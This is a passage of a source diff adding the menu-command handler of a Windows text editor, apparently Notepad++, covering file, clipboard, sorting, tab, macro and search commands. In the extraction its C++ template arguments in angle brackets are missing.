IDM_FILE_NEW: + { + fileNew(); + + /* + bool isFirstTime = ! _pluginsAdminDlg.isCreated(); + _pluginsAdminDlg.setPluginsManager(&_pluginsManager); + _pluginsAdminDlg.doDialog(_nativeLangSpeaker.isRTL()); + if (isFirstTime) + { + _nativeLangSpeaker.changeConfigLang(_pluginsAdminDlg.getHSelf()); + _pluginsAdminDlg.updateListAndLoadFromJson(); + } + */ + } + break; + + case IDM_FILE_OPEN: + { + fileOpen(); + } + break; + + case IDM_FILE_OPEN_FOLDER: + { + Command cmd(TEXT("explorer /select,\"$(FULL_CURRENT_PATH)\"")); + cmd.run(_pPublicInterface->getHSelf()); + } + break; + + case IDM_FILE_OPEN_CMD: + { + Command cmd(TEXT("cmd /K cd /d $(CURRENT_DIRECTORY)")); + cmd.run(_pPublicInterface->getHSelf()); + } + break; + + case IDM_FILE_OPEN_DEFAULT_VIEWER: + { + // Opens file in its default viewer. + // Has the same effect as double–clicking this file in Windows Explorer. + BufferID buf = _pEditView->getCurrentBufferID(); + HINSTANCE res = ::ShellExecute(NULL, TEXT("open"), buf->getFullPathName(), NULL, NULL, SW_SHOW); + + // As per MSDN (https://msdn.microsoft.com/en-us/library/windows/desktop/bb762153(v=vs.85).aspx) + // If the function succeeds, it returns a value greater than 32. + // If the function fails, it returns an error value that indicates the cause of the failure. + int retResult = reinterpret_cast(res); + if (retResult <= 32) + { + generic_string errorMsg; + errorMsg += GetLastErrorAsString(retResult); + errorMsg += TEXT("An attempt was made to execute the below command."); + errorMsg += TEXT("\n----------------------------------------------------------"); + errorMsg += TEXT("\nCommand: "); + errorMsg += buf->getFullPathName(); + errorMsg += TEXT("\nError Code: "); + errorMsg += intToString(retResult); + errorMsg += TEXT("\n----------------------------------------------------------"); + + ::MessageBox(_pPublicInterface->getHSelf(), errorMsg.c_str(), TEXT("ShellExecute - ERROR"), MB_ICONINFORMATION | MB_APPLMODAL); + } + } + break; + + case IDM_FILE_OPENFOLDERASWORSPACE: + { + generic_string folderPath = folderBrowser(_pPublicInterface->getHSelf(), TEXT("Select a folder to add in Folder as Workspace panel")); + if (not folderPath.empty()) + { + if (_pFileBrowser == nullptr) // first launch, check in params to open folders + { + vector dummy; + launchFileBrowser(dummy); + if (_pFileBrowser != nullptr) + { + checkMenuItem(IDM_VIEW_FILEBROWSER, true); + _toolBar.setCheck(IDM_VIEW_FILEBROWSER, true); + _pFileBrowser->setClosed(false); + } + else // problem + return; + } + else + { + if (_pFileBrowser->isClosed()) + { + _pFileBrowser->display(); + checkMenuItem(IDM_VIEW_FILEBROWSER, true); + _toolBar.setCheck(IDM_VIEW_FILEBROWSER, true); + _pFileBrowser->setClosed(false); + } + } + _pFileBrowser->addRootFolder(folderPath); + } + } + break; + + case IDM_FILE_RELOAD: + fileReload(); + break; + + case IDM_FILESWITCHER_FILESCLOSE: + case IDM_FILESWITCHER_FILESCLOSEOTHERS: + if (_pFileSwitcherPanel) + { + vector files = _pFileSwitcherPanel->getSelectedFiles(id == IDM_FILESWITCHER_FILESCLOSEOTHERS); + for (size_t i = 0, len = files.size(); i < len; ++i) + { + fileClose((BufferID)files[i]._bufID, files[i]._iView); + } + if (id == IDM_FILESWITCHER_FILESCLOSEOTHERS) + { + // Get current buffer and its view + _pFileSwitcherPanel->activateItem(_pEditView->getCurrentBufferID(), currentView()); + } + } + break; + + case IDM_FILE_CLOSE: + if (fileClose()) + checkDocState(); + break; + + case IDM_FILE_DELETE: + if (fileDelete()) + checkDocState(); + break; + + case IDM_FILE_RENAME: + fileRename(); + break; + + case IDM_FILE_CLOSEALL: + { + bool isSnapshotMode = NppParameters::getInstance()->getNppGUI().isSnapshotMode(); + fileCloseAll(isSnapshotMode, false); + checkDocState(); + break; + } + + case IDM_FILE_CLOSEALL_BUT_CURRENT : + fileCloseAllButCurrent(); + checkDocState(); + break; + + case IDM_FILE_CLOSEALL_TOLEFT : + fileCloseAllToLeft(); + checkDocState(); + break; + + case IDM_FILE_CLOSEALL_TORIGHT : + fileCloseAllToRight(); + checkDocState(); + break; + + case IDM_FILE_SAVE : + fileSave(); + break; + + case IDM_FILE_SAVEALL : + fileSaveAll(); + break; + + case IDM_FILE_SAVEAS : + fileSaveAs(); + break; + + case IDM_FILE_SAVECOPYAS : + fileSaveAs(BUFFER_INVALID, true); + break; + + case IDM_FILE_LOADSESSION: + fileLoadSession(); + break; + + case IDM_FILE_SAVESESSION: + fileSaveSession(); + break; + + case IDM_FILE_PRINTNOW : + filePrint(false); + break; + + case IDM_FILE_PRINT : + filePrint(true); + break; + + case IDM_FILE_EXIT: + ::SendMessage(_pPublicInterface->getHSelf(), WM_CLOSE, 0, 0); + break; + + case IDM_EDIT_UNDO: + { + LongRunningOperation op; + _pEditView->execute(WM_UNDO); + checkClipboard(); + checkUndoState(); + break; + } + + case IDM_EDIT_REDO: + { + LongRunningOperation op; + _pEditView->execute(SCI_REDO); + checkClipboard(); + checkUndoState(); + break; + } + + case IDM_EDIT_CUT: + _pEditView->execute(WM_CUT); + checkClipboard(); + break; + + case IDM_EDIT_COPY: + _pEditView->execute(WM_COPY); + checkClipboard(); + break; + + case IDM_EDIT_COPY_BINARY: + case IDM_EDIT_CUT_BINARY: + { + int textLen = static_cast(_pEditView->execute(SCI_GETSELTEXT, 0, 0)) - 1; + if (!textLen) + return; + + char *pBinText = new char[textLen + 1]; + _pEditView->getSelectedText(pBinText, textLen + 1); + + // Open the clipboard, and empty it. + if (!OpenClipboard(NULL)) + return; + EmptyClipboard(); + + // Allocate a global memory object for the text. + HGLOBAL hglbCopy = GlobalAlloc(GMEM_MOVEABLE, (textLen + 1) * sizeof(unsigned char)); + if (hglbCopy == NULL) + { + CloseClipboard(); + return; + } + + // Lock the handle and copy the text to the buffer. + unsigned char *lpucharCopy = (unsigned char *)GlobalLock(hglbCopy); + memcpy(lpucharCopy, pBinText, textLen * sizeof(unsigned char)); + lpucharCopy[textLen] = 0; // null character + + GlobalUnlock(hglbCopy); + + // Place the handle on the clipboard. + SetClipboardData(CF_TEXT, hglbCopy); + + + // Allocate a global memory object for the text length. + HGLOBAL hglbLenCopy = GlobalAlloc(GMEM_MOVEABLE, sizeof(unsigned long)); + if (hglbLenCopy == NULL) + { + CloseClipboard(); + return; + } + + // Lock the handle and copy the text to the buffer. + unsigned long *lpLenCopy = (unsigned long *)GlobalLock(hglbLenCopy); + *lpLenCopy = textLen; + + GlobalUnlock(hglbLenCopy); + + // Place the handle on the clipboard. + UINT f = RegisterClipboardFormat(CF_NPPTEXTLEN); + SetClipboardData(f, hglbLenCopy); + + CloseClipboard(); + + if (id == IDM_EDIT_CUT_BINARY) + _pEditView->execute(SCI_REPLACESEL, 0, reinterpret_cast("")); + } + break; + + case IDM_EDIT_PASTE: + { + LongRunningOperation op; + int eolMode = int(_pEditView->execute(SCI_GETEOLMODE)); + _pEditView->execute(SCI_PASTE); + _pEditView->execute(SCI_CONVERTEOLS, eolMode); + } + break; + + case IDM_EDIT_PASTE_BINARY: + { + LongRunningOperation op; + if (!IsClipboardFormatAvailable(CF_TEXT)) + return; + + if (!OpenClipboard(NULL)) + return; + + HGLOBAL hglb = GetClipboardData(CF_TEXT); + if (hglb != NULL) + { + char *lpchar = (char *)GlobalLock(hglb); + if (lpchar != NULL) + { + UINT cf_nppTextLen = RegisterClipboardFormat(CF_NPPTEXTLEN); + if (IsClipboardFormatAvailable(cf_nppTextLen)) + { + HGLOBAL hglbLen = GetClipboardData(cf_nppTextLen); + if (hglbLen != NULL) + { + unsigned long *lpLen = (unsigned long *)GlobalLock(hglbLen); + if (lpLen != NULL) + { + _pEditView->execute(SCI_REPLACESEL, 0, reinterpret_cast("")); + _pEditView->execute(SCI_ADDTEXT, *lpLen, reinterpret_cast(lpchar)); + + GlobalUnlock(hglb); + } + } + } + else + { + _pEditView->execute(SCI_REPLACESEL, 0, reinterpret_cast(lpchar)); + } + GlobalUnlock(hglb); + } + } + CloseClipboard(); + + } + break; + + case IDM_EDIT_OPENINFOLDER: + case IDM_EDIT_OPENASFILE: + { + if (_pEditView->execute(SCI_GETSELECTIONS) != 1) // Multi-Selection || Column mode || no selection + return; + + HWND hwnd = _pPublicInterface->getHSelf(); + TCHAR curentWord[CURRENTWORD_MAXLENGTH]; + ::SendMessage(hwnd, NPPM_GETFILENAMEATCURSOR, CURRENTWORD_MAXLENGTH, reinterpret_cast(curentWord)); + + TCHAR cmd2Exec[CURRENTWORD_MAXLENGTH]; + if (id == IDM_EDIT_OPENINFOLDER) + { + lstrcpy(cmd2Exec, TEXT("explorer")); + } + else + { + ::SendMessage(hwnd, NPPM_GETNPPFULLFILEPATH, CURRENTWORD_MAXLENGTH, reinterpret_cast(cmd2Exec)); + } + + // Full file path + if (::PathFileExists(curentWord)) + { + generic_string fullFilePath = id == IDM_EDIT_OPENINFOLDER ? TEXT("/select,") : TEXT(""); + fullFilePath += TEXT("\""); + fullFilePath += curentWord; + fullFilePath += TEXT("\""); + + if (id == IDM_EDIT_OPENINFOLDER || + (id == IDM_EDIT_OPENASFILE && not ::PathIsDirectory(curentWord))) + ::ShellExecute(hwnd, TEXT("open"), cmd2Exec, fullFilePath.c_str(), TEXT("."), SW_SHOW); + } + else // Full file path - need concatenate with current full file path + { + TCHAR currentDir[CURRENTWORD_MAXLENGTH]; + ::SendMessage(hwnd, NPPM_GETCURRENTDIRECTORY, CURRENTWORD_MAXLENGTH, reinterpret_cast(currentDir)); + + generic_string fullFilePath = id == IDM_EDIT_OPENINFOLDER ? TEXT("/select,") : TEXT(""); + fullFilePath += TEXT("\""); + fullFilePath += currentDir; + fullFilePath += TEXT("\\"); + fullFilePath += curentWord; + + if ((id == IDM_EDIT_OPENASFILE && + (not::PathFileExists(fullFilePath.c_str() + 1) || ::PathIsDirectory(fullFilePath.c_str() + 1)))) + { + _nativeLangSpeaker.messageBox("FilePathNotFoundWarning", + _pPublicInterface->getHSelf(), + TEXT("The file you're trying to open doesn't exist."), + TEXT("File Open"), + MB_OK | MB_APPLMODAL); + return; + } + fullFilePath += TEXT("\""); + ::ShellExecute(hwnd, TEXT("open"), cmd2Exec, fullFilePath.c_str(), TEXT("."), SW_SHOW); + } + } + break; + + case IDM_EDIT_SEARCHONINTERNET: + { + if (_pEditView->execute(SCI_GETSELECTIONS) != 1) // Multi-Selection || Column mode || no selection + return; + + const NppGUI & nppGui = (NppParameters::getInstance())->getNppGUI(); + generic_string url; + if (nppGui._searchEngineChoice == nppGui.se_custom) + { + if (nppGui._searchEngineCustom.empty()) + { + url = TEXT("https://www.google.com/search?q=$(CURRENT_WORD)"); + } + else + { + url = nppGui._searchEngineCustom.c_str(); + } + } + else if (nppGui._searchEngineChoice == nppGui.se_duckDuckGo) + { + url = TEXT("https://duckduckgo.com/?q=$(CURRENT_WORD)"); + } + else if (nppGui._searchEngineChoice == nppGui.se_google) + { + url = TEXT("https://www.google.com/search?q=$(CURRENT_WORD)"); + } + else if (nppGui._searchEngineChoice == nppGui.se_bing) + { + url = TEXT("https://www.bing.com/search?q=$(CURRENT_WORD)"); + } + else if (nppGui._searchEngineChoice == nppGui.se_yahoo) + { + url = TEXT("https://search.yahoo.com/search?q=$(CURRENT_WORD)"); + } + + Command cmd(url.c_str()); + cmd.run(_pPublicInterface->getHSelf()); + } + break; + + case IDM_EDIT_CHANGESEARCHENGINE: + { + command(IDM_SETTING_PREFERECE); + _preference.showDialogByName(TEXT("SearchEngine")); + } + break; + + case IDM_EDIT_PASTE_AS_RTF: + case IDM_EDIT_PASTE_AS_HTML: + { + LongRunningOperation op; + UINT f = RegisterClipboardFormat(id==IDM_EDIT_PASTE_AS_HTML?CF_HTML:CF_RTF); + + if (!IsClipboardFormatAvailable(f)) + return; + + if (!OpenClipboard(NULL)) + return; + + HGLOBAL hglb = GetClipboardData(f); + if (hglb != NULL) + { + LPSTR lptstr = (LPSTR)GlobalLock(hglb); + if (lptstr != NULL) + { + // Call the application-defined ReplaceSelection + // function to insert the text and repaint the + // window. + _pEditView->execute(SCI_REPLACESEL, 0, reinterpret_cast(lptstr)); + + GlobalUnlock(hglb); + } + } + CloseClipboard(); + } + break; + + case IDM_EDIT_BEGINENDSELECT: + { + ::CheckMenuItem(_mainMenuHandle, IDM_EDIT_BEGINENDSELECT, MF_BYCOMMAND | (_pEditView->beginEndSelectedIsStarted() ? MF_UNCHECKED : MF_CHECKED)); + _pEditView->beginOrEndSelect(); + } + break; + + case IDM_EDIT_SORTLINES_LEXICOGRAPHIC_ASCENDING: + case IDM_EDIT_SORTLINES_LEXICOGRAPHIC_DESCENDING: + case IDM_EDIT_SORTLINES_INTEGER_ASCENDING: + case IDM_EDIT_SORTLINES_INTEGER_DESCENDING: + case IDM_EDIT_SORTLINES_DECIMALCOMMA_ASCENDING: + case IDM_EDIT_SORTLINES_DECIMALCOMMA_DESCENDING: + case IDM_EDIT_SORTLINES_DECIMALDOT_ASCENDING: + case IDM_EDIT_SORTLINES_DECIMALDOT_DESCENDING: + { + LongRunningOperation op; + + size_t fromLine = 0, toLine = 0; + size_t fromColumn = 0, toColumn = 0; + + bool hasLineSelection = false; + if (_pEditView->execute(SCI_GETSELECTIONS) > 1) + { + if (_pEditView->execute(SCI_SELECTIONISRECTANGLE)) + { + ColumnModeInfos colInfos = _pEditView->getColumnModeSelectInfo(); + int leftPos = colInfos.begin()->_selLpos; + int rightPos = colInfos.rbegin()->_selRpos; + int startPos = min(leftPos, rightPos); + int endPos = max(leftPos, rightPos); + fromLine = _pEditView->execute(SCI_LINEFROMPOSITION, startPos); + toLine = _pEditView->execute(SCI_LINEFROMPOSITION, endPos); + fromColumn = _pEditView->execute(SCI_GETCOLUMN, leftPos); + toColumn = _pEditView->execute(SCI_GETCOLUMN, rightPos); + } + else + { + return; + } + } + else + { + auto selStart = _pEditView->execute(SCI_GETSELECTIONSTART); + auto selEnd = _pEditView->execute(SCI_GETSELECTIONEND); + hasLineSelection = selStart != selEnd; + if (hasLineSelection) + { + pair lineRange = _pEditView->getSelectionLinesRange(); + // One single line selection is not allowed. + if (lineRange.first == lineRange.second) + { + return; + } + fromLine = lineRange.first; + toLine = lineRange.second; + } + else + { + // No selection. + fromLine = 0; + toLine = _pEditView->execute(SCI_GETLINECOUNT) - 1; + } + } + + bool isDescending = id == IDM_EDIT_SORTLINES_LEXICOGRAPHIC_DESCENDING || + id == IDM_EDIT_SORTLINES_INTEGER_DESCENDING || + id == IDM_EDIT_SORTLINES_DECIMALCOMMA_DESCENDING || + id == IDM_EDIT_SORTLINES_DECIMALDOT_DESCENDING; + + _pEditView->execute(SCI_BEGINUNDOACTION); + std::unique_ptr pSorter; + if (id == IDM_EDIT_SORTLINES_LEXICOGRAPHIC_DESCENDING || id == IDM_EDIT_SORTLINES_LEXICOGRAPHIC_ASCENDING) + { + pSorter = std::unique_ptr(new LexicographicSorter(isDescending, fromColumn, toColumn)); + } + else if (id == IDM_EDIT_SORTLINES_INTEGER_DESCENDING || id == IDM_EDIT_SORTLINES_INTEGER_ASCENDING) + { + pSorter = std::unique_ptr(new IntegerSorter(isDescending, fromColumn, toColumn)); + } + else if (id == IDM_EDIT_SORTLINES_DECIMALCOMMA_DESCENDING || id == IDM_EDIT_SORTLINES_DECIMALCOMMA_ASCENDING) + { + pSorter = std::unique_ptr(new DecimalCommaSorter(isDescending, fromColumn, toColumn)); + } + else + { + pSorter = std::unique_ptr(new DecimalDotSorter(isDescending, fromColumn, toColumn)); + } + try + { + _pEditView->sortLines(fromLine, toLine, pSorter.get()); + } + catch (size_t& failedLineIndex) + { + generic_string lineNo = std::to_wstring(1 + fromLine + failedLineIndex); + _nativeLangSpeaker.messageBox("SortingError", + _pPublicInterface->getHSelf(), + TEXT("Unable to perform numeric sort due to line $STR_REPLACE$."), + TEXT("Sorting Error"), + MB_OK | MB_ICONINFORMATION | MB_APPLMODAL, + 0, + lineNo.c_str()); // We don't use intInfo since it would require casting size_t -> int. + } + _pEditView->execute(SCI_ENDUNDOACTION); + + if (hasLineSelection) // there was 1 selection, so we restore it + { + auto posStart = _pEditView->execute(SCI_POSITIONFROMLINE, fromLine); + auto posEnd = _pEditView->execute(SCI_GETLINEENDPOSITION, toLine); + _pEditView->execute(SCI_SETSELECTIONSTART, posStart); + _pEditView->execute(SCI_SETSELECTIONEND, posEnd); + } + } + break; + + case IDM_EDIT_BLANKLINEABOVECURRENT: + { + _pEditView->insertNewLineAboveCurrentLine(); + } + break; + + case IDM_EDIT_BLANKLINEBELOWCURRENT: + { + _pEditView->insertNewLineBelowCurrentLine(); + } + break; + + case IDM_EDIT_CHAR_PANEL: + { + launchAnsiCharPanel(); + } + break; + + case IDM_EDIT_CLIPBOARDHISTORY_PANEL: + { + launchClipboardHistoryPanel(); + } + break; + + case IDM_VIEW_FILESWITCHER_PANEL: + { + launchFileSwitcherPanel(); + } + break; + + case IDM_VIEW_PROJECT_PANEL_1: + { + launchProjectPanel(id, &_pProjectPanel_1, 0); + } + break; + case IDM_VIEW_PROJECT_PANEL_2: + { + launchProjectPanel(id, &_pProjectPanel_2, 1); + } + break; + case IDM_VIEW_PROJECT_PANEL_3: + { + launchProjectPanel(id, &_pProjectPanel_3, 2); + } + break; + + case IDM_VIEW_FILEBROWSER: + { + if (_pFileBrowser == nullptr) // first launch, check in params to open folders + { + NppParameters *pNppParam = NppParameters::getInstance(); + launchFileBrowser(pNppParam->getFileBrowserRoots()); + if (_pFileBrowser != nullptr) + { + checkMenuItem(IDM_VIEW_FILEBROWSER, true); + _toolBar.setCheck(IDM_VIEW_FILEBROWSER, true); + _pFileBrowser->setClosed(false); + } + } + else + { + if (not _pFileBrowser->isClosed()) + { + _pFileBrowser->display(false); + _pFileBrowser->setClosed(true); + checkMenuItem(IDM_VIEW_FILEBROWSER, false); + _toolBar.setCheck(IDM_VIEW_FILEBROWSER, false); + } + else + { + vector dummy; + launchFileBrowser(dummy); + checkMenuItem(IDM_VIEW_FILEBROWSER, true); + _toolBar.setCheck(IDM_VIEW_FILEBROWSER, true); + _pFileBrowser->setClosed(false); + } + } + } + break; + + case IDM_VIEW_DOC_MAP: + { + if (_pDocMap && (not _pDocMap->isClosed())) + { + _pDocMap->display(false); + _pDocMap->vzDlgDisplay(false); + _pDocMap->setClosed(true); + checkMenuItem(IDM_VIEW_DOC_MAP, false); + _toolBar.setCheck(IDM_VIEW_DOC_MAP, false); + } + else + { + launchDocMap(); + if (_pDocMap) + { + checkMenuItem(IDM_VIEW_DOC_MAP, true); + _toolBar.setCheck(IDM_VIEW_DOC_MAP, true); + _pDocMap->setClosed(false); + } + } + } + break; + + case IDM_VIEW_FUNC_LIST: + { + if (_pFuncList && (not _pFuncList->isClosed())) + { + _pFuncList->display(false); + _pFuncList->setClosed(true); + checkMenuItem(IDM_VIEW_FUNC_LIST, false); + _toolBar.setCheck(IDM_VIEW_FUNC_LIST, false); + } + else + { + checkMenuItem(IDM_VIEW_FUNC_LIST, true); + _toolBar.setCheck(IDM_VIEW_FUNC_LIST, true); + launchFunctionList(); + _pFuncList->setClosed(false); + } + } + break; + + case IDM_VIEW_TAB1: + case IDM_VIEW_TAB2: + case IDM_VIEW_TAB3: + case IDM_VIEW_TAB4: + case IDM_VIEW_TAB5: + case IDM_VIEW_TAB6: + case IDM_VIEW_TAB7: + case IDM_VIEW_TAB8: + case IDM_VIEW_TAB9: + { + const int index = id - IDM_VIEW_TAB1; + BufferID buf = _pDocTab->getBufferByIndex(index); + if(buf == BUFFER_INVALID) + { + // No buffer at chosen index, select the very last buffer instead. + const int last_index = _pDocTab->getItemCount() - 1; + if(last_index > 0) + switchToFile(_pDocTab->getBufferByIndex(last_index)); + } + else + switchToFile(buf); + } + break; + + case IDM_VIEW_TAB_NEXT: + { + const int current_index = _pDocTab->getCurrentTabIndex(); + const int last_index = _pDocTab->getItemCount() - 1; + if(current_index < last_index) + switchToFile(_pDocTab->getBufferByIndex(current_index + 1)); + else + switchToFile(_pDocTab->getBufferByIndex(0)); // Loop around. + } + break; + + case IDM_VIEW_TAB_PREV: + { + const int current_index = _pDocTab->getCurrentTabIndex(); + if(current_index > 0) + switchToFile(_pDocTab->getBufferByIndex(current_index - 1)); + else + { + const int last_index = _pDocTab->getItemCount() - 1; + switchToFile(_pDocTab->getBufferByIndex(last_index)); // Loop around. + } + } + break; + + case IDM_VIEW_TAB_MOVEFORWARD: + case IDM_VIEW_TAB_MOVEBACKWARD: + { + const int currentTabIndex = _pDocTab->getCurrentTabIndex(); + const int lastTabIndex = _pDocTab->getItemCount() - 1; + int newTabIndex = currentTabIndex; + + if (id == IDM_VIEW_TAB_MOVEFORWARD) + { + if (currentTabIndex >= lastTabIndex) + return; + ++newTabIndex; + } + else + { + if (currentTabIndex < 1) + return; + --newTabIndex; + } + + TCITEM tciMove, tciShift; + tciMove.mask = tciShift.mask = TCIF_IMAGE | TCIF_TEXT | TCIF_PARAM; + + const int strSizeMax = 256; + TCHAR strMove[strSizeMax]; + TCHAR strShift[strSizeMax]; + + tciMove.pszText = strMove; + tciMove.cchTextMax = strSizeMax; + + tciShift.pszText = strShift; + tciShift.cchTextMax = strSizeMax; + + ::SendMessage(_pDocTab->getHSelf(), TCM_GETITEM, currentTabIndex, reinterpret_cast(&tciMove)); + + ::SendMessage(_pDocTab->getHSelf(), TCM_GETITEM, newTabIndex, reinterpret_cast(&tciShift)); + ::SendMessage(_pDocTab->getHSelf(), TCM_SETITEM, currentTabIndex, reinterpret_cast(&tciShift)); + + ::SendMessage(_pDocTab->getHSelf(), TCM_SETITEM, newTabIndex, reinterpret_cast(&tciMove)); + + ::SendMessage(_pDocTab->getHSelf(), TCM_SETCURSEL, newTabIndex, 0); + + // Notify plugins that the document order has changed + ::SendMessage(_pDocTab->getHParent(), NPPM_INTERNAL_DOCORDERCHANGED, 0, newTabIndex); + } + break; + + case IDM_EDIT_DELETE: + _pEditView->execute(WM_CLEAR); + break; + + case IDM_MACRO_STARTRECORDINGMACRO: + case IDM_MACRO_STOPRECORDINGMACRO: + case IDC_EDIT_TOGGLEMACRORECORDING: + { + if (_recordingMacro) + { + // STOP !!! + _mainEditView.execute(SCI_STOPRECORD); + _subEditView.execute(SCI_STOPRECORD); + + _mainEditView.execute(SCI_SETCURSOR, static_cast(SC_CURSORNORMAL)); + _subEditView.execute(SCI_SETCURSOR, static_cast(SC_CURSORNORMAL)); + + _recordingMacro = false; + _runMacroDlg.initMacroList(); + } + else + { + _mainEditView.execute(SCI_SETCURSOR, 9); + _subEditView.execute(SCI_SETCURSOR, 9); + _macro.clear(); + + // START !!! + _mainEditView.execute(SCI_STARTRECORD); + _subEditView.execute(SCI_STARTRECORD); + _recordingMacro = true; + } + checkMacroState(); + break; + } + + case IDM_MACRO_PLAYBACKRECORDEDMACRO: + if (!_recordingMacro) // if we're not currently recording, then playback the recorded keystrokes + { + macroPlayback(_macro); + } + break; + + case IDM_MACRO_RUNMULTIMACRODLG : + { + if (!_recordingMacro) // if we're not currently recording, then playback the recorded keystrokes + { + bool isFirstTime = !_runMacroDlg.isCreated(); + _runMacroDlg.doDialog(_nativeLangSpeaker.isRTL()); + + if (isFirstTime) + { + _nativeLangSpeaker.changeDlgLang(_runMacroDlg.getHSelf(), "MultiMacro"); + } + break; + + } + } + break; + + case IDM_MACRO_SAVECURRENTMACRO : + { + if (addCurrentMacro()) + _runMacroDlg.initMacroList(); + break; + } + case IDM_EDIT_FULLPATHTOCLIP : + case IDM_EDIT_CURRENTDIRTOCLIP : + case IDM_EDIT_FILENAMETOCLIP : + { + Buffer * buf = _pEditView->getCurrentBuffer(); + if (id == IDM_EDIT_FULLPATHTOCLIP) + { + str2Cliboard(buf->getFullPathName()); + } + else if (id == IDM_EDIT_CURRENTDIRTOCLIP) + { + generic_string dir(buf->getFullPathName()); + PathRemoveFileSpec(dir); + str2Cliboard(dir); + } + else if (id == IDM_EDIT_FILENAMETOCLIP) + { + str2Cliboard(buf->getFileName()); + } + } + break; + + case IDM_SEARCH_FIND : + case IDM_SEARCH_REPLACE : + case IDM_SEARCH_MARK : + { + const int strSize = FINDREPLACE_MAXLENGTH; + TCHAR str[strSize]; + + bool isFirstTime = !_findReplaceDlg.isCreated(); + + DIALOG_TYPE dlgID = FIND_DLG; + if (id == IDM_SEARCH_REPLACE) + dlgID = REPLACE_DLG; + else if (id == IDM_SEARCH_MARK) + dlgID = MARK_DLG; + _findReplaceDlg.doDialog(dlgID, _nativeLangSpeaker.isRTL()); + + _pEditView->getGenericSelectedText(str, strSize); + _findReplaceDlg.setSearchText(str); + setFindReplaceFolderFilter(NULL, NULL); + + if (isFirstTime) + _nativeLangSpeaker.changeFindReplaceDlgLang(_findReplaceDlg); + break; + } + + case IDM_SEARCH_FINDINFILES: + { + ::SendMessage(_pPublicInterface->getHSelf(), NPPM_LAUNCHFINDINFILESDLG, 0, 0); + break; + } + + case IDM_SEARCH_FINDINCREMENT : + { + const int strSize = FINDREPLACE_MAXLENGTH; + TCHAR str[strSize]; + + _pEditView->getGenericSelectedText(str, strSize, false); + if (0 != str[0]) // the selected text is not empty, then use it + _incrementFindDlg.setSearchText(str, _pEditView->getCurrentBuffer()->getUnicodeMode() != uni8Bit); + + _incrementFindDlg.display(); + } + break; + + case IDM_SEARCH_FINDNEXT : + case IDM_SEARCH_FINDPREV : + { + if (!_findReplaceDlg.isCreated()) + return; + + FindOption op = _findReplaceDlg.getCurrentOptions(); + op._whichDirection = (id == IDM_SEARCH_FINDNEXT?DIR_DOWN:DIR_UP); + generic_string s = _findReplaceDlg.getText2search(); + FindStatus status = FSNoMessage; + _findReplaceDlg.processFindNext(s.c_str(), &op, &status); + if (status == FSEndReached) + _findReplaceDlg.setStatusbarMessage(TEXT("Find: Found the 1st occurrence from the top. The end of document has been reached."), FSEndReached); + else if (status == FSTopReached) + _findReplaceDlg.setStatusbarMessage(TEXT("Find: Found the 1st occurrence from the bottom. The begin of document has been reached."), FSTopReached); + break; + } + break; + + case IDM_SEARCH_SETANDFINDNEXT : + case IDM_SEARCH_SETANDFINDPREV : + { + bool isFirstTime = !_findReplaceDlg.isCreated(); + if (isFirstTime) + _findReplaceDlg.doDialog(FIND_DLG, _nativeLangSpeaker.isRTL(), false); + + const int strSize = FINDREPLACE_MAXLENGTH; + TCHAR str[strSize]; + _pEditView->getGenericSelectedText(str, strSize); + _findReplaceDlg.setSearchText(str); + _findReplaceDlg._env->_str2Search = str; + setFindReplaceFolderFilter(NULL, NULL); + if (isFirstTime) + _nativeLangSpeaker.changeFindReplaceDlgLang(_findReplaceDlg); + + FindOption op = _findReplaceDlg.getCurrentOptions(); + op._whichDirection = (id == IDM_SEARCH_SETANDFINDNEXT?DIR_DOWN:DIR_UP); + + FindStatus status = FSNoMessage; + _findReplaceDlg.processFindNext(str, &op, &status); + if (status == FSEndReached) + _findReplaceDlg.setStatusbarMessage(TEXT("Find: Found the 1st occurrence from the top. The end of document has been reached."), FSEndReached); + else if (status == FSTopReached) + _findReplaceDlg.setStatusbarMessage(TEXT("Find: Found the 1st occurrence from the bottom. The begin of document has been reached."), FSTopReached); + break; + } + + case IDM_SEARCH_GOTONEXTFOUND: + { + _findReplaceDlg.gotoNextFoundResult(); + break; + } + case IDM_SEARCH_GOTOPREVFOUND: + { + _findReplaceDlg.gotoNextFoundResult(-1); + break; + } + case IDM_FOCUS_ON_FOUND_RESULTS: + { + if (GetFocus() == _findReplaceDlg.getHFindResults()) + // focus already on found results, switch to current edit view + switchEditViewTo(currentView()); + else + _findReplaceDlg.focusOnFinder(); + break; + } + + case IDM_SEARCH_VOLATILE_FINDNEXT : + case IDM_SEARCH_VOLATILE_FINDPREV : + { + TCHAR text2Find[MAX_PATH]; + _pEditView->getGenericSelectedText(text2Find, MAX_PATH); + + FindOption op; + op._isWholeWord = false; + op._whichDirection = (id == IDM_SEARCH_VOLATILE_FINDNEXT?DIR_DOWN:DIR_UP); + + FindStatus status = FSNoMessage; + _findReplaceDlg.processFindNext(text2Find, &op, &status); + if (status == FSEndReached) + _findReplaceDlg.setStatusbarMessage(TEXT("Find: Found the 1st occurrence from the top. The end of document has been reached."), FSEndReached); + else if (status == FSTopReached) + _findReplaceDlg.setStatusbarMessage(TEXT("Find: Found the 1st occurrence from the bottom. The begin of document has been reached."), FSTopReached); + + break; + } + + case IDM_SEARCH_MARKALLEXT1 : + case IDM_SEARCH_MARKALLEXT2 : + case IDM_SEARCH_MARKALLEXT3 : + case IDM_SEARCH_MARKALLEXT4 : + case IDM_SEARCH_MARKALLEXT5 : + { + int styleID; + if (id == IDM_SEARCH_MARKALLEXT1) + styleID = SCE_UNIVERSAL_FOUND_STYLE_EXT1; + else if (id == IDM_SEARCH_MARKALLEXT2) + styleID = SCE_UNIVERSAL_FOUND_STYLE_EXT2; + else if (id == IDM_SEARCH_MARKALLEXT3) + styleID = SCE_UNIVERSAL_FOUND_STYLE_EXT3; + else if (id == IDM_SEARCH_MARKALLEXT4) + styleID = SCE_UNIVERSAL_FOUND_STYLE_EXT4; + else // (id == IDM_SEARCH_MARKALLEXT5) + styleID = SCE_UNIVERSAL_FOUND_STYLE_EXT5; + + const int strSize = FINDREPLACE_MAXLENGTH; + TCHAR text2Find[strSize]; + TCHAR text2Find2[strSize]; + + _pEditView->getGenericSelectedText(text2Find, strSize, false); + _pEditView->getGenericWordOnCaretPos(text2Find2, strSize); + + if (text2Find[0] == '\0') + { + _findReplaceDlg.markAll(text2Find2, styleID, true); + } + else + { + _findReplaceDlg.markAll(text2Find, styleID, lstrlen(text2Find) == lstrlen(text2Find2)); + } + break; + } + case IDM_SEARCH_UNMARKALLEXT1 : + case IDM_SEARCH_UNMARKALLEXT2 : + case IDM_SEARCH_UNMARKALLEXT3 : + case IDM_SEARCH_UNMARKALLEXT4 : + case 